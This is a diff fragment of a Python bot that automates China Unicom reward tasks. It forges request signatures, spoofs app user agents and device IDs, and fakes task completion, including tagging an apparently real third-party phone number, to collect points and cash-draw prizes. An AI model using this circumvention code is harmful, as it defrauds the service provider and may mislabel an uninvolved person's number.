"ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}", + "Content-Type": "application/json", + "clientType": "uasp_unicom_applet" + } + data = { "productId": "", "type": 1, "ticket": self.sec_ticket1 } + res = self.session.post(url, json=data, headers=headers).json() + if res.get('data'): + self.sec_token = res['data'].get('access_token') + else: + self.log(f"安全管家: getAuthToken_sec 失败 - {res}") + except Exception as e: + self.log(f"安全管家: getAuthToken_sec 异常: {e}") + + def getTicketForJF_sec(self): + if not getattr(self, 'sec_token', None): + self.log("安全管家 getTicketForJF_sec 缺少 token,跳过") + return + try: + url1 = "https://uca.wo116114.com/api/v1/auth/getTicket?product_line=uasp&entry_point=h5&entry_point_id=edop_unicom_3a6cc75a" + headers1 = { + "User-Agent": "ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}", + "Content-Type": "application/json", + "auth-sa-token": self.sec_token, + "clientType": "uasp_unicom_applet" + } + data1 = { "productId": "91311616", "phone": self.account_mobile } + res1 = self.session.post(url1, json=data1, headers=headers1).json() + if res1.get('data'): + self.sec_ticket = res1['data'].get('ticket') + else: + self.log("安全管家获取积分票据失败") + return + url2 = "https://m.jf.10010.com/jf-external-application/page/query" + headers2 = { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301};ltst;OSVersion/16.6", + "partnersid": "1702", + "ticket": unquote(self.sec_ticket), + "clienttype": "uasp_unicom_applet", + } + if hasattr(self, 'sec_jeaId'): + headers2["Cookie"] = f"_jea_id={self.sec_jeaId}" + res2 = self.session.post(url2, json={"activityId": "s747395186896173056", "partnersId": "1702"}, headers=headers2) + res2 = self.session.post(url2, json={"activityId": "s747395186896173056", "partnersId": "1702"}, headers=headers2) + for cookie in self.session.cookies: + if cookie.name == '_jea_id': + self.sec_jeaId = cookie.value + if 'Set-Cookie' in res2.headers: + match = re.search(r'_jea_id=([^;]+)', res2.headers['Set-Cookie']) + if match: + self.sec_jeaId = match.group(1) + self.log(f"安全管家: 更新 jeaId: {self.sec_jeaId}") + except Exception as e: + self.log(f"安全管家: getTicketForJF_sec 异常: {e}") + + def get_secret_key_sec(self): + if getattr(self, 'sec_secretKey', None): + return self.sec_secretKey + if not getattr(self, 'sec_ticket', None): + return None + headers = { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/json', + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301};ltst;OSVersion/16.6", + 'Accept-Encoding': 'gzip, deflate, br', + 'Connection': 'keep-alive', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Origin': 'https://m.jf.10010.com', + 'Host': 'm.jf.10010.com', + 'clienttype': 'uasp_unicom_applet', + 'partnersid': '1702', + 'ticket': unquote(self.sec_ticket), + } + if hasattr(self, 'sec_jeaId') and self.sec_jeaId: + headers['Cookie'] = f"_jea_id={self.sec_jeaId};" + try: + res = self.session.get("https://m.jf.10010.com/jf-external-application/jftask/getSecretKey", headers=headers, timeout=10).json() + secret = res.get('data', {}).get('secretKey') + if res.get('code') == '0000' and secret: + self.sec_secretKey = secret.encode('utf-8') + self.log("安全管家: secretKey 获取成功") + return self.sec_secretKey + self.log(f"安全管家: getSecretKey 失败: {res}") + except Exception as e: + self.log(f"安全管家: getSecretKey 异常: {e}") + return None + + def build_signature_headers_sec(self): + secret_key = self.get_secret_key_sec() + if not secret_key: + return {} + request_ts = str(round(time.time() * 1000)) + nonce = ''.join(random.choices('0123456789abcdefghijklmnopqrstuvwxyz', k=8)) + signature = hmac.new( + secret_key, f"{nonce}{request_ts}".encode('utf-8'), hashlib.sha256, + ).hexdigest() + return { + 'x-request-timestamp': request_ts, + 'x-request-nonce': nonce, + 'x-request-signature': signature, + } + + def operateBlacklist_sec(self, phone_number, type_val): + type_name = "添加" if type_val == 0 else "删除" + self.log(f"安全管家: 正在执行{type_name}黑名单号码: {phone_number}") + try: + url = "https://uca.wo116114.com/sjgj/woAssistant/umm/configs/v1/config?product_line=uasp&entry_point=h5&entry_point_id=wxdefbc1986dc757a6" + headers = { + "User-Agent": "ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}", + "auth-sa-token": self.sec_token, + "clientType": "uasp_unicom_applet", + "token": self.sec_token, + "Cookie": f"devicedId={self.unicomTokenId}" + } + data = { + "productId": "91015539", + "type": 1, + "operationType": type_val, + "contents": [{ "content": phone_number, "contentTag": "", "nickname": None, "configTime": None }] + } + if type_val == 0: + data["blacklistSource"] = 0 + res = self.session.post(url, json=data, headers=headers).json() + return res + except Exception as e: + self.log(f"operateBlacklist_sec error: {e}") + return None + + def addToBlacklist_sec(self): + phone_number = "13088888888" + res = self.operateBlacklist_sec(phone_number, 0) + success_codes = ['0000', 0] + if res and (res.get('code') in success_codes or res.get('msg') == '成功'): + self.log("安全管家: ✅ 添加黑名单成功。") + return + is_duplicate = res and res.get('msg') and "号码已存在" in res.get('msg') + if is_duplicate: + self.log(f"安全管家: ⚠️ 检测到号码 {phone_number} 已存在,执行先删除后添加流程。") + del_res = self.operateBlacklist_sec(phone_number, 1) + is_del_success = del_res and (del_res.get('code') in success_codes or (del_res.get('msg') and ("成功" in del_res.get('msg') or "不在黑名单" in del_res.get('msg')))) + if is_del_success: + self.log("安全管家: ✅ 删除旧记录成功,等待 2 秒后重新添加...") + time.sleep(2) + retry_res = self.operateBlacklist_sec(phone_number, 0) + if retry_res and (retry_res.get('code') in success_codes or retry_res.get('msg') == '成功'): + self.log("安全管家: ✅ 重新添加黑名单成功。") + else: + self.log(f"安全管家: ❌ 重新添加失败: {retry_res.get('msg')}") + else: + self.log("安全管家: ❌ 删除旧记录失败,无法继续添加。") + else: + self.log(f"安全管家: ❌ 添加黑名单失败: {res.get('msg') if res else '无响应'}") + + def markPhoneNumber_sec(self): + try: + url = "https://uca.wo116114.com/sjgj/unicomAssistant/uasp/configs/v1/addressBook/saveTagPhone?product_line=uasp&entry_point=h5&entry_point_id=wxdefbc1986dc757a6" + headers = { + "User-Agent": "ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}", + "auth-sa-token": self.sec_token, + "clientType": "uasp_unicom_applet" + } + data = { "tagPhoneNo": "13088330789", "tagIds": [26], "status": 0, "productId": "91311616" } + self.session.post(url, json=data, headers=headers) + self.log("安全管家: 执行号码标记。") + except Exception as e: + self.log(f"markPhoneNumber_sec error: {e}") + + def syncAddressBook_sec(self): + try: + url = "https://uca.wo116114.com/sjgj/unicomAssistant/uasp/configs/v1/addressBookBatchConfig?product_line=uasp&entry_point=h5&entry_point_id=edop_unicom_3a6cc75a" + headers = { + "User-Agent": "ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}", + "auth-sa-token": self.sec_token, + "clientType": "uasp_unicom_applet" + } + data = { "addressBookDTOList": [{ "addressBookPhoneNo": "13088888888", "addressBookName": "水水" }], "productId": "91311616", "opType": "1" } + self.session.post(url, json=data, headers=headers) + self.log("安全管家: 执行同步通讯录。") + except Exception as e: + self.log(f"syncAddressBook_sec error: {e}") + + def setInterceptionRules_sec(self): + try: + url = "https://uca.wo116114.com/sjgj/woAssistant/umm/configs/v1/config?product_line=uasp&entry_point=h5&entry_point_id=wxdefbc1986dc757a6" + headers = { + "User-Agent": "ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}", + "auth-sa-token": self.sec_token, + "clientType": "uasp_unicom_applet" + } + data = { "contents": [{ "name": "rings-once", "contentTag": "8", "contentName": "响一声", "content": "0", "icon": "alerting" }], "operationType": 0, "type": 3, "productId": "91311616" } + self.session.post(url, json=data, headers=headers) + self.log("安全管家: 执行设置拦截规则。") + except Exception as e: + self.log(f"setInterceptionRules_sec error: {e}") + + def viewWeeklyStatus_sec(self): + try: + url = "https://uca.wo116114.com/sjgj/unicomAssistant/uasp/configs/v1/weeklySwitchStatus?product_line=uasp&entry_point=h5&entry_point_id=wxdefbc1986dc757a6" + headers = { "auth-sa-token": self.sec_token, "clientType": "uasp_unicom_applet" } + self.session.post(url, json={ "productId": "91311616" }, headers=headers) + except: pass + + def queryKeyData_sec(self): + try: + url = "https://uca.wo116114.com/sjgj/unicomAssistant/uasp/report/v1/queryKeyData?product_line=uasp&entry_point=h5&entry_point_id=wxdefbc1986dc757a6" + headers = { "auth-sa-token": self.sec_token, "clientType": "uasp_unicom_applet" } + self.session.post(url, json={ "productId": "91311616" }, headers=headers) + except: pass + + def viewWeeklySummary_sec(self): + try: + url = "https://uca.wo116114.com/sjgj/unicomAssistant/uasp/report/v1/weeklySummary?product_line=uasp&entry_point=h5&entry_point_id=wxdefbc1986dc757a6" + headers = { "auth-sa-token": self.sec_token, "clientType": "uasp_unicom_applet" } + self.session.post(url, json={ "productId": "91311616" }, headers=headers) + self.log("安全管家: 执行查看周报。") + except: pass + + def receivePoints_sec(self, taskCode): + try: + url = "https://m.jf.10010.com/jf-external-application/jftask/receive" + headers = { + "ticket": unquote(self.sec_ticket), + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301};ltst;OSVersion/16.6", + "partnersid": "1702", + "clienttype": "uasp_unicom_applet", + } + headers.update(self.build_signature_headers_sec()) + if hasattr(self, 'sec_jeaId') and self.sec_jeaId: + headers["Cookie"] = f"_jea_id={self.sec_jeaId};" + res = self.session.post(url, json={ "taskCode": taskCode }, headers=headers).json() + if res.get('data') and res['data'].get('score'): + self.log(f"安全管家: ✅ 领取积分成功: {res['data']['score']} ({res.get('msg')})", notify=True) + elif res: + self.log(f"安全管家: ❌ 领取积分失败: {res.get('msg')}") + else: + self.log("安全管家: ❌ 领取积分API无响应") + except Exception as e: + self.log(f"receivePoints_sec error: {e}") + + def finishTask_sec(self, taskCode, taskName): + try: + url = "https://m.jf.10010.com/jf-external-application/jftask/toFinish" + headers = { + "ticket": unquote(self.sec_ticket), + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301};ltst;OSVersion/16.6", + "partnersid": "1702", + "clienttype": "uasp_unicom_applet", + "token": self.sec_token, + "Cookie": f"devicedId={self.unicomTokenId}" + } + headers.update(self.build_signature_headers_sec()) + if hasattr(self, 'sec_jeaId') and self.sec_jeaId: + headers["Cookie"] = f"_jea_id={self.sec_jeaId};" + self.session.post(url, json={ "taskCode": taskCode }, headers=headers) + self.log(f"安全管家: 开启任务 [{taskName}]") + if taskName == "联通助理-添加黑名单": + self.addToBlacklist_sec() + elif taskName == "联通助理-号码标记": + self.markPhoneNumber_sec() + elif taskName == "联通助理-同步通讯录": + self.syncAddressBook_sec() + elif taskName == "联通助理-骚扰拦截设置": + self.setInterceptionRules_sec() + elif taskName == "联通助理-查看周报": + self.viewWeeklyStatus_sec() + self.queryKeyData_sec() + self.viewWeeklySummary_sec() + except Exception as e: + self.log(f"finishTask_sec error: {e}") + + def signIn_sec(self, taskCode): + try: + url = "https://m.jf.10010.com/jf-external-application/jftask/sign" + headers = { + "ticket": unquote(self.sec_ticket), + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301};ltst;OSVersion/16.6", + "partnersid": "1702", + "clienttype": "uasp_unicom_applet", + } + headers.update(self.build_signature_headers_sec()) + if hasattr(self, 'sec_jeaId') and self.sec_jeaId: + headers["Cookie"] = f"_jea_id={self.sec_jeaId};" + res = self.session.post(url, json={ "taskCode": taskCode }, headers=headers).json() + self.log(f"安全管家: 完成签到: {res.get('msg') if res else '状态未知'}") + except Exception as e: + self.log(f"signIn_sec error: {e}") + + def executeAllTasks_sec(self): + try: + url = "https://m.jf.10010.com/jf-external-application/jftask/taskDetail" + headers = { + "ticket": unquote(self.sec_ticket), + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301};ltst;OSVersion/16.6", + "partnersid": "1702", + "clienttype": "uasp_unicom_applet", + } + if hasattr(self, 'sec_jeaId') and self.sec_jeaId: + headers["Cookie"] = f"_jea_id={self.sec_jeaId}" + res = self.session.post(url, json={}, headers=headers).json() + if not res or not res.get('data') or not res['data'].get('taskDetail'): + self.log("安全管家: 查询任务列表失败或响应格式错误。") + return + taskList = res['data']['taskDetail']['taskList'] + executableTaskNames = [ + "联通助理-添加黑名单", + "联通助理-号码标记", + "联通助理-同步通讯录", + "联通助理-骚扰拦截设置", + "联通助理-查看周报" + ] + executableTasks = [] + skippedTasks = [] + for task in taskList: + isKnown = task['taskName'] in executableTaskNames or "签到" in task['taskName'] + if isKnown: + executableTasks.append(task) + else: + skippedTasks.append(task) + unfinished_skipped = [t for t in skippedTasks if t['finishCount'] != t['needCount']] + if unfinished_skipped: + skipped_names = ", ".join([f"[{t['taskName']}]" for t in unfinished_skipped]) + self.log(f"安全管家: 跳过: {skipped_names}") + for task in executableTasks: + taskName = task['taskName'] + taskCode = task['taskCode'] + finishCount = int(task['finishCount']) + needCount = int(task['needCount']) + finishText = task.get('finishText', '') + self.log(f"安全管家: [{taskName}]: {finishCount}/{needCount} - {finishText}") + if finishCount != needCount: + remaining = needCount - finishCount + self.log(f"安全管家: 任务未完成,需要再执行 {remaining} 次") + for i in range(remaining): + time.sleep(3) + try: + if "签到" in taskName: + self.signIn_sec(taskCode) + else: + self.finishTask_sec(taskCode, taskName) + if "签到" not in taskName: + time.sleep(10) + self.receivePoints_sec(taskCode) + else: + self.receivePoints_sec(taskCode) + break + except Exception as e: + self.log(f"安全管家: 执行 {taskCode} 时出错: {e}") + break + elif finishText == "待领取": + try: + time.sleep(3) + self.receivePoints_sec(taskCode) + except Exception as e: + self.log(f"安全管家: 领取 {taskCode} 奖励时出错: {e}") + else: + self.log(f"安全管家: [{taskName}] 任务已完成且奖励已领取") + self.log("安全管家: ---------------------") + except Exception as e: + self.log(f"executeAllTasks_sec error: {e}") + + def getUserInfo_sec(self): + try: + url = "https://m.jf.10010.com/jf-external-application/jftask/userInfo" + headers = { + "ticket": unquote(self.sec_ticket), + "User-Agent": "Mozilla/5.0 (Linux; Android 9; ONEPLUS A5000 Build/PKQ1.180716.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.179 Mobile Safari/537.36", + "partnersid": "1702", + "clienttype": "uasp_unicom_applet", + } + if hasattr(self, 'sec_jeaId') and self.sec_jeaId: + headers["Cookie"] = f"_jea_id={self.sec_jeaId}" + res = self.session.post(url, json={}, headers=headers).json() + if not res or res.get('code') != '0000' or not res.get('data'): + self.log(f"安全管家: 查询积分失败: {res.get('msg') if res else '无响应'}") + return + currentPoints = int(res['data'].get('availableScore', 0)) + todayPoints = res['data'].get('todayEarnScore', 0) + if not hasattr(self, 'sec_oldJFPoints') or self.sec_oldJFPoints is None: + self.sec_oldJFPoints = currentPoints + self.log(f"安全管家: 运行前积分:{currentPoints} (今日已赚 {todayPoints})") + else: + pointsGained = currentPoints - self.sec_oldJFPoints + self.log(f"安全管家: 运行后积分{currentPoints},本次运行获得{pointsGained}", notify=True) + except Exception as e: + self.log(f"getUserInfo_sec error: {e}") + + def securityButlerTask(self, is_query_only=False): + self.log("==== 联通安全管家 ====") + if not self.ecs_token: + self.log("安全管家: 缺少 ecs_token,跳过") + return + try: + self.getTicketByNative_sec() + if not getattr(self, 'sec_ticket1', None): return + self.getAuthToken_sec() + if not getattr(self, 'sec_token', None): return + self.getTicketForJF_sec() + if not getattr(self, 'sec_ticket', None): return + self.sec_oldJFPoints = None + self.getUserInfo_sec() + if is_query_only: + self.log("安全管家: [查询模式] 跳过任务执行...") + return + self.get_secret_key_sec() + self.executeAllTasks_sec() + self.getUserInfo_sec() + except Exception as e: + self.log(f"安全管家: 异常: {e}") + + def aiting_query_integral(self): + url = "https://m.jf.10010.com/jf-external-application/jftask/userInfo" + response = self.session.post(url, json={}, headers=self.aiting_jf_headers()) + self.update_aiting_jea_id(response) + res = response.json() + if res.get('code') == '0000': + data = res.get('data', {}) + self.log(f"积分概览: 今日已赚 {data.get('todayEarnScore')}, 当前余额 {data.get('availableScore')}", notify=True) + + def aiting_jf_headers(self, with_signature=False): + headers = { + 'ticket': unquote(self.aiting_biz_ticket), + 'pageid': 's789081246969976832', + 'clienttype': 'aiting_android', + 'partnersid': '1706', + 'content-type': 'application/json;charset=UTF-8', + 'User-Agent': 'Mozilla/5.0 (Linux; Android 12; Redmi K30 Pro Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.159 Mobile Safari/537.36 WoReaderApp/Android', + 'Origin': 'https://m.jf.10010.com', + 'Host': 'm.jf.10010.com', + } + jea_id = getattr(self, 'aiting_jeaId', '') + if jea_id: + headers['Cookie'] = f"_jea_id={jea_id};" + if with_signature: + headers.update(self.build_signature_headers_aiting()) + return headers + + def update_aiting_jea_id(self, response=None): + jea_id = '' + if response is not None: + cookie = response.headers.get('Set-Cookie', '') + match = re.search(r'_jea_id=([^;]+)', cookie) + if match: + jea_id = match.group(1) + if not jea_id: + for cookie_item in self.session.cookies: + if cookie_item.name == '_jea_id': + jea_id = cookie_item.value + break + if jea_id: + self.aiting_jeaId = jea_id + return jea_id + + def get_secret_key_aiting(self): + if getattr(self, 'aiting_secretKey', None): + return self.aiting_secretKey + try: + self.update_aiting_jea_id() + res = self.session.get( + "https://m.jf.10010.com/jf-external-application/jftask/getSecretKey", + headers=self.aiting_jf_headers(), + timeout=10, + ) + self.update_aiting_jea_id(res) + data = res.json() + secret = data.get('data', {}).get('secretKey') + if data.get('code') == '0000' and secret: + self.aiting_secretKey = secret.encode('utf-8') + return self.aiting_secretKey + self.log(f"爱听任务: getSecretKey 失败: {data}") + except Exception as e: + self.log(f"爱听任务: getSecretKey 异常: {e}") + return None + + def build_signature_headers_aiting(self): + secret_key = self.get_secret_key_aiting() + if not secret_key: + return {} + request_ts = str(round(time.time() * 1000)) + nonce = ''.join(random.choices('0123456789abcdefghijklmnopqrstuvwxyz', k=8)) + signature = hmac.new( + secret_key, f"{nonce}{request_ts}".encode('utf-8'), hashlib.sha256, + ).hexdigest() + return { + 'x-request-timestamp': request_ts, + 'x-request-nonce': nonce, + 'x-request-signature': signature, + } + + def ltzf_task(self): + self.log("==== 联通祝福 ====") + base_url = "https://wocare.unisk.cn/mbh/getToken" + params = { + "channelType": WOCARE_CONSTANTS["serviceLife"], + "homePage": "home", + "duanlianjieabc": "qAz2m" + } + targetUrl = f"{base_url}?{urlencode(params)}" + res = self.openPlatLineNew(targetUrl) + if not res or 'ticket' not in res: + self.log("联通祝福: 获取Ticket失败") + return + ticket = res['ticket'] + if not self.wocare_getToken(ticket): + self.log("联通祝福: 获取Wocare Token失败") + return + self.wocare_getSpecificityBanner() + wocare_activities = [ + {"name": "星座配对", "id": 2}, + {"name": "大转盘", "id": 3}, + {"name": "盲盒抽奖", "id": 4} + ] + for activity in wocare_activities: + self.wocare_getDrawTask(activity) + self.wocare_loadInit(activity) + + def openPlatLineNew(self, to_url): + try: + base_url = "https://m.client.10010.com/mobileService/openPlatform/openPlatLineNew.htm" + params = {"to_url": to_url} + for attempt in range(1, 4): + try: + res = self.session.get(base_url, params=params, allow_redirects=False, timeout=15) + break + except Exception as e: + err_msg = str(e) + if attempt < 3 and os.environ.get("UNICOM_PROXY_API") and ("Max retries exceeded" in err_msg or "timed out" in err_msg.lower() or "connection" in err_msg.lower() or "SOCKS" in err_msg): + self.log(f"openPlatLineNew 第{attempt}次异常触发故障转移: {err_msg}") + self.failover_proxy() + continue + self.log(f"openPlatLineNew 第{attempt}次重试 - 异常: {e}") + if attempt == 3: + return None + time.sleep(2) + if res.status_code == 302 and 'Location' in res.headers: + loc = res.headers['Location'] + parsed = urlparse(loc) + qs = parse_qs(parsed.query) + ticket = qs.get('ticket', [''])[0] + type_val = qs.get('type', [''])[0] + if ticket: + return {'ticket': ticket, 'type': type_val, 'loc': loc} + else: + self.log("openPlatLineNew: 重定向URL中无ticket") + else: + self.log(f"openPlatLineNew: 状态码{res.status_code} (期望302)") + except Exception as e: + self.log(f"openPlatLineNew 异常: {str(e)}") + return None + + def random_string(self, length, chars=string.ascii_letters + string.digits): + return ''.join(random.choice(chars) for _ in range(length)) + + def get_bizchannelinfo(self): + info = { + "bizChannelCode": "225", + "disriBiz": "party", + "unionSessionId": "", + "stType": "", + "stDesmobile": "", + "source": "", + "rptId": self.rptId, + "ticket": "", + "tongdunTokenId": self.tokenId_cookie, + "xindunTokenId": self.unicomTokenId + } + return json.dumps(info) + + def get_epay_authinfo(self): + info = { + "mobile": "", + "sessionId": getattr(self, 'sessionId', ''), + "tokenId": getattr(self, 'tokenId', ''), + "userId": "" + } + return json.dumps(info) + + def ttlxj_task(self, is_query_only=False): + self.log("==== 天天领现金 ====") + for attempt in range(1, 31): + try: + ticket_res = self.openPlatLineNew("https://epay.10010.com/ci-mps-st-web/ttlxj/") + if not ticket_res or not ticket_res.get('ticket'): + if attempt < 30: + self.log(f"天天领现金: 获取Ticket失败,正在重试 ({attempt}/30)...") + time.sleep(2) + continue + else: + self.log("天天领现金: 获取Ticket失败,已达最大重试次数,跳过任务") + return + ticket = ticket_res['ticket'] + type_val = ticket_res['type'] + if self.ttlxj_authorize(ticket, type_val, ticket_res['loc']): + if self.ttlxj_auth_check(): + if is_query_only: + self.ttlxj_query_available() + return + self.ttlxj_do_tasks() + self.ttlxj_query_available() + break + else: + if attempt < 30: + self.log(f"天天领现金: 授权失败,正在重试 ({attempt}/30)...") + time.sleep(2) + else: + self.log("天天领现金: 授权失败,已达最大重试次数") + except Exception as e: + if attempt < 30: + self.log(f"天天领现金: 任务异常 ({e}),正在重试 ({attempt}/30)...") + time.sleep(2) + else: + self.log(f"天天领现金: 任务异常: {e}") + + def ttlxj_authorize(self, ticket, type_val, referer_url): + try: + url = "https://epay.10010.com/woauth2/v2/authorize" + headers = { + "Origin": "https://epay.10010.com", + "Referer": referer_url + } + payload = { + "response_type": "rptid", + "client_id": "73b138fd-250c-4126-94e2-48cbcc8b9cbe", + "redirect_uri": "https://epay.10010.com/ci-mps-st-web/", + "login_hint": { + "credential_type": "st_ticket", + "credential": ticket, + "st_type": type_val, + "force_logout": True, + "source": "app_sjyyt" + }, + "device_info": { + "token_id": f"chinaunicom-pro-{int(time.time()*1000)}-{self.random_string(13)}", + "trace_id": self.random_string(32) + } + } + res = self.session.post(url, json=payload, headers=headers, timeout=10) + if res.status_code == 200: + return True + else: + self.log(f"天天领现金: Authorize失败[{res.status_code}]: {res.text}") + return False + except Exception as e: + self.log(f"ttlxj_authorize error: {e}") + return False + + def ttlxj_auth_check(self): + try: + url = "https://epay.10010.com/ps-pafs-auth-front/v1/auth/check" + headers = { + "bizchannelinfo": self.get_bizchannelinfo() + } + res = self.session.post(url, headers=headers, json={}, timeout=10) + data = res.json() + code = data.get("code") + if code == "0000": + auth_info = data.get("data", {}).get("authInfo", {}) + self.sessionId = auth_info.get("sessionId", "") + self.tokenId = auth_info.get("tokenId", "") + self.epay_userId = auth_info.get("userId", "") + return True + elif code == "2101000100": + login_url = data.get("data", {}).get("woauth_login_url") + if login_url: + return self.ttlxj_login(login_url) + else: + self.log(f"天天领现金: AuthCheck失败[{code}]: {data.get('msg')}") + return False + except Exception as e: + self.log(f"ttlxj_auth_check error: {e}") + return False + + def ttlxj_login(self, login_url): + try: + full_url = f"{login_url}https://epay.10010.com/ci-mcss-party-web/clockIn/?bizFrom=225&bizChannelCode=225" + res = self.session.get(full_url, allow_redirects=False, timeout=10) + if res.status_code == 302 and 'Location' in res.headers: + loc = res.headers['Location'] + parsed = urlparse(loc) + qs = parse_qs(parsed.query) + rptid = qs.get('rptid', [''])[0] + if rptid: + self.rptId = rptid + return self.ttlxj_auth_check() + else: + self.log("天天领现金: Login跳转后无rptid") + else: + self.log(f"天天领现金: Login失败[{res.status_code}]") + return False + except Exception as e: + self.log(f"ttlxj_login error: {e}") + return False + + def ttlxj_do_tasks(self): + info_url = "https://epay.10010.com/ci-mcss-party-front/v1/ttlxj/userDrawInfo" + headers = { + "bizchannelinfo": self.get_bizchannelinfo(), + "authinfo": self.get_epay_authinfo() + } + res = self.request("post", info_url, json={}, headers=headers) + if not res: return + data = res.json() + if data.get('code') == '0000': + day_of_week = data.get("data", {}).get("dayOfWeek", "") + draw_key = f"day{day_of_week}" + has_not_clocked_in = data.get("data", {}).get(draw_key) == "1" + if has_not_clocked_in: + self.log(f"天天领现金: 今天未打卡", notify=True) + today_js = (datetime.now().weekday() + 1) % 7 + draw_type = "C" if today_js == 0 else "B" + self.ttlxj_unifyDrawNew(draw_type) + else: + self.log(f"天天领现金: 今天已打卡", notify=True) + else: + self.log(f"天天领现金: 查询失败: {data.get('msg')}") + + def ttlxj_unifyDrawNew(self, draw_type): + draw_url = "https://epay.10010.com/ci-mcss-party-front/v1/ttlxj/unifyDrawNew" + headers = { + "bizchannelinfo": self.get_bizchannelinfo(), + "authinfo": self.get_epay_authinfo() + } + req_data = { + "drawType": draw_type, + "bizFrom": "225", + "activityId": "TTLXJ20210330" + } + res = self.request("post", draw_url, data=req_data, headers=headers) + if not res: return + data = res.json() + if data.get('code') == '0000': + prize = data.get('data', {}).get('prizeName', '未知奖品') + self.log(f"天天领现金: 抽奖成功: {prize}", notify=True) + else: + self.log(f"天天领现金: 抽奖失败: {data.get('msg')}") + + def ttlxj_query_available(self): + avail_url = "https://epay.10010.com/ci-mcss-party-front/v1/ttlxj/queryAvailable" + headers = { + "bizchannelinfo": self.get_bizchannelinfo(), + "authinfo": self.get_epay_authinfo() + } + res = self.request("post", avail_url, json={}, headers=headers) + if not res: return + data = res.json() + if data.get('code') == '0000': + d = data.get('data', {}) + amount_raw = int(d.get('availableAmount', '0')) + amount_yuan = f"{amount_raw / 100:.2f}" + msg = f"天天领现金: 可用立减金: {amount_yuan}元" + seven_day = int(d.get('sevenDayExpireAmount', 0)) + if seven_day > 0: + msg += f", 7天内过期立减金: {seven_day / 100:.2f}元" + min_exp_amt = int(d.get('minExpireAmount', 0)) + min_exp_date = d.get('minExpireDate') + if min_exp_amt > 0 and min_exp_date: + msg += f", 最早过期立减金: {min_exp_amt / 100:.2f}元 -- {min_exp_date}过期" + self.log(msg, notify=True) + else: + self.log(f"天天领现金: 查询余额失败: {data.get('msg')}") + + def aiting_get_aes(self, data, key): + iv_str = "16-Bytes--String" + key_bytes = key[:16].encode('utf-8') + iv_bytes = iv_str[:16].encode('utf-8') + text = json.dumps(data, separators=(',', ':')) if isinstance(data, (dict, list)) else str(data) + padded_data = pad(text.encode('utf-8'), 16) + cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes) + ciphertext = cipher.encrypt(padded_data) + hex_str = ciphertext.hex() + return base64.b64encode(hex_str.encode('utf-8')).decode('utf-8') + + def aiting_aes_encrypt(self, data, key, iv): + key_bytes = key.encode('utf-8') + iv_bytes = iv.encode('utf-8') + text = json.dumps(data, separators=(',', ':')) if isinstance(data, (dict, list)) else str(data) + padded_data = pad(text.encode('utf-8'), 16) + cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes) + ciphertext = cipher.encrypt(padded_data) + hex_str = ciphertext.hex().upper() + return base64.b64encode(hex_str.encode('utf-8')).decode('utf-8') + + def aiting_md5(self, text): + return hashlib.md5(text.encode('utf-8')).hexdigest() + + def aiting_generate_sign(self, params, key): + sorted_keys = sorted(params.keys()) + sign_str = '&'.join([f"{k}={params[k]}" for k in sorted_keys]) + final_str = f"{sign_str}&key={key}" + return self.aiting_md5(final_str) + + def aiting_timestamp(self): + return str(int(time.time() * 1000)) + + def aiting_nonce(self): + return str(random.randint(100000, 999999)) + + def aiting_generate_woid(self, imei): + random6 = ''.join(random.choices(string.ascii_letters + string.digits, k=6)) + imei8 = imei[:8] if len(imei) >= 8 else imei.ljust(8, '0') + random4 = ''.join(random.choices(string.ascii_letters + string.digits, k=4)) + random2 = ''.join(random.choices(string.ascii_letters + string.digits, k=2)) + return f"WOA{random6}{imei8}LOT{random4}LV{random2}" + + def aiting_calculate_clientconfirm(self, userid, imei): + plaintext = f"android{userid}{imei}" + return self.aiting_aes_encrypt(plaintext, AITING_AES_KEY, AITING_AES_IV) + + def aiting_calculate_passcode(self, timestamp, phone): + return self.aiting_md5(timestamp + phone + AITING_CLIENT_KEY) + + def aiting_build_statisticsinfo(self, userid, useraccount, imei, clientconfirm): + params = { + 'channelid': '28015001', + 'sid': ''.join(random.choices(string.ascii_letters + string.digits + "_-", k=20)), + 'eid': ''.join(random.choices(string.ascii_letters + string.digits + "_", k=20)), + 'osversion': 'Android12', + 'clientallid': '000000100000000000058.0.2.1225', + 'display': 